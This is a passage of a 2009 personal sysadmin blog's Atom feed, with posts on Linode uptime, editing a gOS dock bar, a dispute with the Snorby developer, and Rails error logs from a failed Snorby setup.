/&gt;I just wanted to post this so that when/if everyone that owns a Tivo sees such traffic, they won't get alarmed (I didn't see a specific page that stated that this was normal traffic).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-1547074840366012414?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/1547074840366012414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=1547074840366012414' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1547074840366012414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/1547074840366012414'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/08/strange-traffic-in-snort-logs.html' title='Strange traffic in Snort logs'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-604948863678267629</id><published>2009-08-06T18:14:00.000-04:00</published><updated>2009-08-06T18:15:41.312-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='starchild'/><category scheme='http://www.blogger.com/atom/ns#' term='Linode.com'/><category scheme='http://www.blogger.com/atom/ns#' term='linuxcounter.org'/><title type='text'>Linode uptime</title><content type='html'>&lt;blockquote&gt;ron@starchild:~$ w&lt;br /&gt; 18:09:25 up 417 days,  5:21,  2 users,  load average: 0.01, 0.01, 0.00&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Last year, I had the around the same, per linuxcounter.org's stats:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    ID     Name    Last auto-update Uptime&lt;br /&gt;316269 starchild 2008-05-12 00:06:02 414.8 &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Nice, huh??  Don't let the load average fool you...it has a decent load at certain intervals, and that doesn't include when I'm doing maintenance.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-604948863678267629?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/604948863678267629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=604948863678267629' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/604948863678267629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/604948863678267629'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/08/linode-uptime.html' title='Linode uptime'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-875518259689515824</id><published>2009-08-06T02:38:00.011-04:00</published><updated>2009-08-08T01:48:59.488-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.wbar'/><category scheme='http://www.blogger.com/atom/ns#' term='Mozilla'/><category scheme='http://www.blogger.com/atom/ns#' term='Thunderbird'/><category scheme='http://www.blogger.com/atom/ns#' term='dock'/><category scheme='http://www.blogger.com/atom/ns#' term='LinuxFormat'/><category scheme='http://www.blogger.com/atom/ns#' term='HardInfo'/><category scheme='http://www.blogger.com/atom/ns#' term='Filelight'/><category scheme='http://www.blogger.com/atom/ns#' term='gOS'/><title type='text'>Non-Slackware post</title><content type='html'>Working on my Dell Mini with &lt;a href="http://www.thinkgos.com/index.html"&gt;gOS&lt;/a&gt; installed,  I've edited the dock bar to include Mozilla's Thunderbird.  Basically I edited .wbar in my ~/home dir...I've added the following:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;i: /usr/share/icons/gOS3_Icons/scalable/apps/mozilla-thunderbird.png&lt;br /&gt;c: glaunch thunderbird.desktop&lt;br /&gt;t: Thunderbird&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I added this under the Firefox entry.&lt;br /&gt;&lt;br /&gt;The dock looked like this before the change:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DYU25XfzLMA/SnqE7vqbvwI/AAAAAAAAAF0/imWeG_n1aN4/s1600-h/before_dock_edit.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 30px;" src="http://2.bp.blogspot.com/_DYU25XfzLMA/SnqE7vqbvwI/AAAAAAAAAF0/imWeG_n1aN4/s320/before_dock_edit.png" alt="" id="BLOGGER_PHOTO_ID_5366748067906961154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The dock now looks like this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DYU25XfzLMA/SnqFO8ciYFI/AAAAAAAAAF8/bK6t2fnYMpM/s1600-h/after_dock_edit.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 33px;" src="http://2.bp.blogspot.com/_DYU25XfzLMA/SnqFO8ciYFI/AAAAAAAAAF8/bK6t2fnYMpM/s320/after_dock_edit.png" alt="" id="BLOGGER_PHOTO_ID_5366748397755850834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I actually had to experiment with this.  Apparently, the gOS forums lack this documentation, as I haven't seen any documentation on how to change the dock's format, so I'm posting it here.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT:  Wbarconf under "gOS/accessories" is apparently the tool to use to edit the dock bar.  Found that tidbit of info &lt;/span&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://www.mail-archive.com/goslinux@googlegroups.com/msg01047.html"&gt;here&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.  Note the date of Oct 2008.  Although I found the answer on my own, I searched the internet after I applied my edit, checking to see how prevalent the info is...its not that prevalent.  That's about the only hit I got, other than &lt;/span&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://groups.google.com/group/goslinux/browse_thread/thread/4b4dd8af0cbda887"&gt;one&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; other explaining to download some GUI tool that would allow editing of the dock.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT:  &lt;/span&gt;&lt;a style="color: rgb(255, 0, 0);" href="http://groups.google.com/group/goslinux/web/essential-tips-for-beginning-gos-3-users"&gt;Another link&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; describing how to edit the dock bar.  Look for &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(255, 0, 0);"&gt;"How to add edit and delete the content of the "dock" (Wbar)&lt;/span&gt;&lt;span style="font-style: italic; color: rgb(255, 0, 0);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Also, after reading &lt;a href="http://www.linuxformat.com/"&gt;Linux Format&lt;/a&gt; LXF119, I've decided to try some hard disk information tools:  &lt;a href="http://www.methylblue.com/filelight/"&gt;Filelight&lt;/a&gt;, a tool that shows graphical representation of hard disk usage and &lt;a href="http://hardinfo.berlios.de/HomePage"&gt;HardInfo&lt;/a&gt;, which is a system profiler/benchmarker.  Screenshots are below.  Both are decent tools and I recommend them.&lt;br /&gt;&lt;br /&gt;Filelight:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DYU25XfzLMA/SnqIQ5akAcI/AAAAAAAAAGE/XWewTHOBhHM/s1600-h/Screenshot-Filelight.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 229px;" src="http://4.bp.blogspot.com/_DYU25XfzLMA/SnqIQ5akAcI/AAAAAAAAAGE/XWewTHOBhHM/s320/Screenshot-Filelight.png" alt="" id="BLOGGER_PHOTO_ID_5366751729836884418" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;HardInfo:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DYU25XfzLMA/SnqIe7u_7BI/AAAAAAAAAGM/eFR17qcFggo/s1600-h/Screenshot-Disk+Usage+Analyzer.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_DYU25XfzLMA/SnqIe7u_7BI/AAAAAAAAAGM/eFR17qcFggo/s320/Screenshot-Disk+Usage+Analyzer.png" alt="" id="BLOGGER_PHOTO_ID_5366751970977639442" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-875518259689515824?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/875518259689515824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=875518259689515824' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/875518259689515824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/875518259689515824'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/08/non-slackware-post.html' title='Non-Slackware post'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DYU25XfzLMA/SnqE7vqbvwI/AAAAAAAAAF0/imWeG_n1aN4/s72-c/before_dock_edit.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5397953411765410212</id><published>2009-07-27T23:51:00.008-04:00</published><updated>2010-01-09T20:31:02.818-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Gems'/><title type='text'>Killing my usage of Snorby</title><content type='html'>I've stopped attempting to get Snorby running.  Why?  After digging into this for over two weeks, logging my attempts on this blog, I again asked for someone to guide me in the right direction at Snorby's Google group:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Any news on this issue?&lt;br /&gt;&lt;br /&gt;I'm at a dead standstill in implementing...can't even get a login&lt;br /&gt;prompt.&lt;br /&gt;&lt;br /&gt;I realize your main focus is to get to v1.0 status, but its hard for&lt;br /&gt;me to contribute to the project if I can't get it running even when&lt;br /&gt;following the instructions specifically.&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;unixfool&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The response?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Hello,&lt;br /&gt;&lt;br /&gt;Version 1.0.1 is the current release. I very doubt you followed the&lt;br /&gt;instructions properly as there are 20-30 people in the irc channel&lt;br /&gt;that have had no issues.  I am not even sure what your issue is. Did you rake snorby:setup  RAILS_ENV=production&lt;br /&gt;&lt;br /&gt;I have no problem helping when there are real errors but its quite&lt;br /&gt;annoying when its just because someone did not read the docs.&lt;br /&gt;&lt;br /&gt;Please post your logs and let me figure out a workaround.&lt;br /&gt;&lt;br /&gt;- Dustin&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;My parting response:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;I followed EXACTLY what was on your pages.  If there's an issue with the way it was set up, it could be the fact that your instructions on your website need to be updated.&lt;br /&gt;&lt;br /&gt;Look, I stated in my blog that I was going to test Snorby.  You posted to my blog that you would like to know if there were any issues.  I stated I had an issue and even gave you a LOT of debugging information, which is a far cry from what I've been seeing here in your Google group and now you're getting a bit snobbish?&lt;br /&gt;&lt;br /&gt;I don't particularly like your tone, so from here on out, no Snorby for me. Cool project, but I shouldn't have to be a freaking Rails expert to use any security tool...really.  The fact that I can set up Snort (and its deps) blindfolded and install most other frontends (and their deps) without issue or handholding tells me that I'm competent enough.  I really don't need the attitude...and you did this on a freakin' group listing.  An e-mail would've been more tactful, but in the end, your attitude would've rubbed me raw all the same.&lt;br /&gt;&lt;br /&gt;And, you know what?  You keep harping on visiting freenode.  I've no problem with freenode, especially since I oper and have ownership of ##slackware, but if you would much rather leverage IRC for support, what do you have this group for? Really?  If you respond to everyone here in such a manner when they ask questions about your tool, you're not going to get nearly the user base that you want.  No one wants to be spoken down to in such a manner.&lt;br /&gt;&lt;br /&gt;Anyways, I'm out.  I've said my piece and will remove myself from this group.  Please do NOT respond or send me e-mail.  You've made yourself clear that you don't like helping people use your tool. I'm done.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The whole thread is &lt;a href="http://groups.google.com/group/snorby/browse_thread/thread/7f8fc2af217c376f"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Actually, I'm pretty pissed off.  I don't like using someone's tool and trying to contribute but having issues even implementing the freakin' piece of software, especially when I get major attitude when asking questions.  WTF is the use in supplying debugging traces when the developer doesn't even look at it and assess if there's something wrong with his code implementation or if the user is using it wrong.  I have some project management skills and I can tell you now that if I developed a process at my work environment and my team had issues with my process, I'd want to know the who/what/when/where/why so that I can assess my process and see if I made an error or if it needs to be clarified.  I NEVER tell my team something akin to, "you didn't read the process," especially if there is a high probability that they actually did.  No one is infallible, not even this particular guy.  I'd have been humbled if I'd found that there indeed were instructions that I'd missed...that's not the case, though, unless he's maintaining documentation in another place.  I wouldn't know and I shouldn't have to visit a damned IRC channel to ferret out discrepancies or hunt for additional support in a new tool...WTF is the Google group for if I can't ask questions there?  Can you imagine if everyone on the AOLS mailing group said, "visit the IRC channel for your answer"?&lt;br /&gt;&lt;br /&gt;Belittling people alienates people.  Not even US Army drill sergeants do this (don't believe everything you see on TV).&lt;br /&gt;&lt;br /&gt;No Snorby coverage will happen here again.  No Snorby usage will occur.  We're closing this chapter right now!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;EDIT:  After this post and after a few days of cooling off a bit, I decided to determine if the issue was actually with me, the way I set up Ruby/Rails, or any configuration of Snorby.  I was still 100% sure I followed the directions properly, so I didn't change any configs of Snorby or my Ruby/Rails setup.  I only refrshed the Snorby environment by pulling the latest update.  Guess what?  Snorby worked.  This leads me to believe that something in the Snorby code changed...something the developer changed after he pissed me off with his insistence that I hadn't read the instructions and that I was just another person using his tool who didn't know basic sysadmin skills.  Kinda funny that the tool works now when I didn't change anything or reapply the instructions...I just refreshed the code.  Something smells bad and it isn't me...&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-5397953411765410212?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/5397953411765410212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=5397953411765410212' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5397953411765410212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/5397953411765410212'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2009/07/killing-my-usage-of-snorby.html' title='Killing my usage of Snorby'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-5261722510754064653</id><published>2009-07-23T22:29:00.004-04:00</published><updated>2009-08-06T03:51:27.224-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snorby'/><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Gems'/><title type='text'>Ruby, Rails, Gems Redux Part III</title><content type='html'>I'm starting to get a bit annoyed.  I still can't get this working properly.  Getting the same error as I got in my last post.  I haven't changed anything but I've double- and triple-checked.&lt;br /&gt;&lt;br /&gt;Right now, I'm currently posting to the Snorby Goggle group to try to get some assistance, which I usually don't have to do...I hate being dependent upon others, but that's just me.&lt;br /&gt;&lt;br /&gt;Anyways, so far, I've been able to rule out MySQL as the culprit, as I'm seeing connections from Ruby to the MySQL server.  I'm also able to connect to the server as 'root' and as 'snort'.  The web server continues to issue status 500 and the Ruby logs indicate that there's something wrong with the user_session/new.html.erb file (keeps saying 'no credentials provided').&lt;br /&gt;&lt;br /&gt;One suggestion I got is to do a 'git pull' to update Snorby from the Snorby directory.  That command pulled quite a few changes, but after the pull, I'm still receiving the same error:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;root@slackbox:~/RAILS/RAILS/Snorby# git pull&lt;br /&gt;remote: Counting objects: 604, done.&lt;br /&gt;remote: Compressing objects: 100% (522/522), done.&lt;br /&gt;Indexing 542 objects...&lt;br /&gt;remote: Total 542 (delta 393), reused 43 (delta 12)&lt;br /&gt; 100% (542/542) done&lt;br /&gt;Resolving 393 deltas...&lt;br /&gt; 100% (393/393) done&lt;br /&gt;37 objects were added to complete this thin pack.&lt;br /&gt;* refs/remotes/origin/cache_test: storing branch 'cache_test' of git://github.com/mephux/Snorby&lt;br /&gt;  commit: a30cf8e&lt;br /&gt;* refs/remotes/origin/master: fast forward to branch 'master' of git://github.com/mephux/Snorby&lt;br /&gt;  old..new: e17ace1..7edf9e9&lt;br /&gt;Updating e17ace1..7edf9e9&lt;br /&gt;&lt;br /&gt;Fast forward&lt;br /&gt; app/controllers/application_controller.rb         |    2 +-&lt;br /&gt; app/controllers/comments_controller.rb            |   57 ++++++++++&lt;br /&gt; app/controllers/events_controller.rb              |    4 +-&lt;br /&gt; app/controllers/pages_controller.rb               |   25 ++++-&lt;br /&gt; app/controllers/searches_controller.rb            |    4 +-&lt;br /&gt; app/controllers/user_sessions_controller.rb       |    2 +-&lt;br /&gt; app/helpers/application_helper.rb                 |   41 +++-----&lt;br /&gt; app/helpers/comments_helper.rb                    |    2 +&lt;br /&gt; app/models/comment.rb                             |    5 +&lt;br /&gt; app/models/event.rb                               |   17 +++&lt;br /&gt; app/models/importance.rb                          |    3 +-&lt;br /&gt; app/models/report.rb                              |    2 +-&lt;br /&gt; app/models/search.rb                              |    4 +-&lt;br /&gt; app/models/user.rb                                |   17 +++-&lt;br /&gt; app/views/comments/_comment.html.erb              |   15 +++&lt;br /&gt; app/views/comments/_form.html.erb                 |    9 ++&lt;br /&gt; app/views/comments/create.js.rjs                  |   11 ++&lt;br /&gt; app/views/comments/destroy.js.rjs                 |    2 +&lt;br /&gt; app/views/comments/edit.html.erb                  |    3 +&lt;br /&gt; app/views/comments/new.html.erb                   |    5 +&lt;br /&gt; app/views/events/_comments_for_event.html.erb     |   21 ++++&lt;br /&gt; app/views/events/_event.html.erb                  |   21 +++-&lt;br /&gt; app/views/events/_ip_data.html.erb                |   15 ++-&lt;br /&gt; app/views/events/_summary.html.erb                |    8 +-&lt;br /&gt; app/views/events/remove_event.js.rjs              |    2 +-&lt;br /&gt; app/views/events/send_event.html.erb              |    4 +-&lt;br /&gt; app/views/events/show.html.erb                    |    4 +&lt;br /&gt; app/views/pages/category.html.erb                 |   13 +++&lt;br /&gt; app/views/pages/category.js.rjs                   |    1 +&lt;br /&gt; app/views/pages/dashboard.html.erb                |   20 ++--&lt;br /&gt; app/views/pages/severity.html.erb                 |    8 ++&lt;br /&gt; app/views/pages/severity.js.rjs                   |    1 +&lt;br /&gt; app/views/reports/send_report.html.erb            |    2 +-&lt;br /&gt; app/views/searches/send_search.html.erb           |    2 +-&lt;br /&gt; app/views/searches/show.html.erb                  |    4 +-&lt;br /&gt; app/views/settings/index.html.erb                 |    2 +-&lt;br /&gt; config/email.yml.example                          |    3 +-&lt;br /&gt; config/routes.rb                                  |    8 +-&lt;br /&gt; db/migrate/20090719222259_create_comments.rb      |   16 +++&lt;br /&gt; db/schema.rb                                      |   12 ++-&lt;br /&gt; public/flash/clippy.swf                           |  Bin 5380 -&gt; 0 bytes&lt;br /&gt; public/images/.DS_Store                           |  Bin 12292 -&gt; 12292 bytes&lt;br /&gt; public/images/comment/comment_top.png             |  Bin 0 -&gt; 4759 bytes&lt;br /&gt; public/images/cross.png                           |  Bin 655 -&gt; 689 bytes&lt;br /&gt; public/images/other/{destroy.png =&gt; destroy2.png} |  Bin 715 -&gt; 715 bytes&lt;br /&gt; public/images/other/edit.png                      |  Bin 0 -&gt; 497 bytes&lt;br /&gt; public/images/other/is_not_important.png          |  Bin 648 -&gt; 633 bytes&lt;br /&gt; public/images/other/no_comment.png                |  Bin 0 -&gt; 604 bytes&lt;br /&gt; public/images/other/slash.png                     |  Bin 714 -&gt; 689 bytes&lt;br /&gt; public/images/other/slash2.png                    |  Bin 0 -&gt; 714 bytes&lt;br /&gt; public/images/other/whois.png                     |  Bin 0 -&gt; 595 bytes&lt;br /&gt; public/stylesheets/snorby.css                     |  118 ++++++++++++++++++++-&lt;br /&gt; test/fixtures/comments.yml                        |   11 ++&lt;br /&gt; test/functional/comments_controller_test.rb       |   54 ++++++++++&lt;br /&gt; test/unit/comment_test.rb                         |    7 ++&lt;br /&gt; 55 files changed, 504 insertions(+), 83 deletions(-)&lt;br /&gt; create mode 100644 app/controllers/comments_controller.rb&lt;br /&gt; create mode 100644 app/helpers/comments_helper.rb&lt;br /&gt; create mode 100644 app/models/comment.rb&lt;br /&gt; create mode 100644 app/views/comments/_comment.html.erb&lt;br /&gt; create mode 100644 app/views/comments/_form.html.erb&lt;br /&gt; create mode 100644 app/views/comments/create.js.rjs&lt;br /&gt; create mode 100644 app/views/comments/destroy.js.rjs&lt;br /&gt; create mode 100644 app/views/comments/edit.html.erb&lt;br /&gt; create mode 100644 app/views/comments/new.html.erb&lt;br /&gt; create mode 100644 app/views/events/_comments_for_event.html.erb&lt;br /&gt; create mode 100644 app/views/pages/category.html.erb&lt;br /&gt; create mode 100644 app/views/pages/category.js.rjs&lt;br /&gt; create mode 100644 app/views/pages/severity.html.erb&lt;br /&gt; create mode 100644 app/views/pages/severity.js.rjs&lt;br /&gt; create mode 100644 db/migrate/20090719222259_create_comments.rb&lt;br /&gt; delete mode 100644 public/flash/clippy.swf&lt;br /&gt; create mode 100644 public/images/comment/comment_top.png&lt;br /&gt; rename public/images/other/{destroy.png =&gt; destroy2.png} (100%)&lt;br /&gt; create mode 100755 public/images/other/edit.png&lt;br /&gt; create mode 100644 public/images/other/no_comment.png&lt;br /&gt; create mode 100644 public/images/other/slash2.png&lt;br /&gt; create mode 100644 public/images/other/whois.png&lt;br /&gt; create mode 100644 test/fixtures/comments.yml&lt;br /&gt; create mode 100644 test/functional/comments_controller_test.rb&lt;br /&gt; create mode 100644 test/unit/comment_test.rb&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;root@slackbox:~/RAILS/RAILS/Snorby# script/server -e production -b 10.150.1.106 -p 3000&lt;br /&gt;=&gt; Booting WEBrick&lt;br /&gt;=&gt; Rails 2.3.2 application starting on http://10.150.1.106:3000&lt;br /&gt;=&gt; Call with -d to detach&lt;br /&gt;=&gt; Ctrl-C to shutdown server&lt;br /&gt;[2009-07-23 22:18:39] INFO  WEBrick 1.3.1&lt;br /&gt;[2009-07-23 22:18:39] INFO  ruby 1.8.6 (2007-03-13) [i486-linux]&lt;br /&gt;[2009-07-23 22:18:39] WARN  TCPServer Error: Address already in use - bind(2)&lt;br /&gt;[2009-07-23 22:18:39] INFO  WEBrick::HTTPServer#start: pid=5752 port=3000&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Processing UserSessionsController#new (for ::ffff:10.150.1.106 at 2009-07-23 22:18:40) [GET]&lt;br /&gt;  Parameters: {"action"=&gt;"new", "controller"=&gt;"user_sessions"}&lt;br /&gt;Rendering template within layouts/application&lt;br /&gt;Rendering user_sessions/new&lt;br /&gt;&lt;br /&gt;ActionView::TemplateError (undefined method `login' for #&lt;UserSession: no credentials provided&gt;) on line #8 of app/views/user_sessions/new.html.erb:&lt;br /&gt;5:              &lt;% form_for @user_session, :url =&gt; user_session_path do |f| %&gt;&lt;br /&gt;6:                &lt;%= f.error_messages %&gt;&lt;br /&gt;7:                &lt;%= f.label :login %&gt;&lt;br /&gt;&lt;br /&gt;8:                &lt;%= f.text_field :login %&gt;&lt;br /&gt;&lt;br /&gt;9:                &lt;br /&gt;&lt;br /&gt;10:               &lt;%= f.label :password %&gt;&lt;br /&gt;&lt;br /&gt;11:               &lt;%= f.password_field :password %&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    app/views/user_sessions/new.html.erb:8&lt;br /&gt;    app/views/user_sessions/new.html.erb:5&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'&lt;br /&gt;    /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'&lt;br /&gt;&lt;br /&gt;Rendering /root/RAILS/RAILS/Snorby/public/500.html (500 Internal Server Error)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Processing ApplicationController#index (for ::ffff:10.150.1.106 at 2009-07-23 22:20:40) [GET]&lt;br /&gt;&lt;br /&gt;ActionController::RoutingError (No route matches "/test/" with {:method=&gt;:get}):&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'&lt;br /&gt;  /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'&lt;br /&gt;&lt;br /&gt;Rendering /root/RAILS/RAILS/Snorby/public/404.html (404 Not Found)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Processing UserSessionsController#new (for ::ffff:10.150.1.106 at 2009-07-23 22:20:55) [GET]&lt;br /&gt;  Parameters: {"action"=&gt;"new", "controller"=&gt;"user_sessions"}&lt;br /&gt;Rendering template within layouts/application&lt;br /&gt;Rendering user_sessions/new&lt;br /&gt;&lt;br /&gt;ActionView::TemplateError (undefined method `login' for #&lt;UserSession: no credentials provided&gt;) on line #8 of app/views/user_sessions/new.html.erb:&lt;br /&gt;5:              &lt;% form_for @user_session, :url =&gt; user_session_path do |f| %&gt;&lt;br /&gt;6:                &lt;%= f.error_messages %&gt;&lt;br /&gt;7:                &lt;%= f.label :login %&gt;&lt;br /&gt;&lt;br /&gt;8:                &lt;%= f.text_field :login %&gt;&lt;br /&gt;&lt;br /&gt;9:                &lt;br /&gt;&lt;br /&gt;10:               &lt;%= f.label :password %&gt;&lt;br /&gt;&lt;br /&gt;11:               &lt;%= f.password_field :password %&gt;&lt;br /&gt;&lt;br 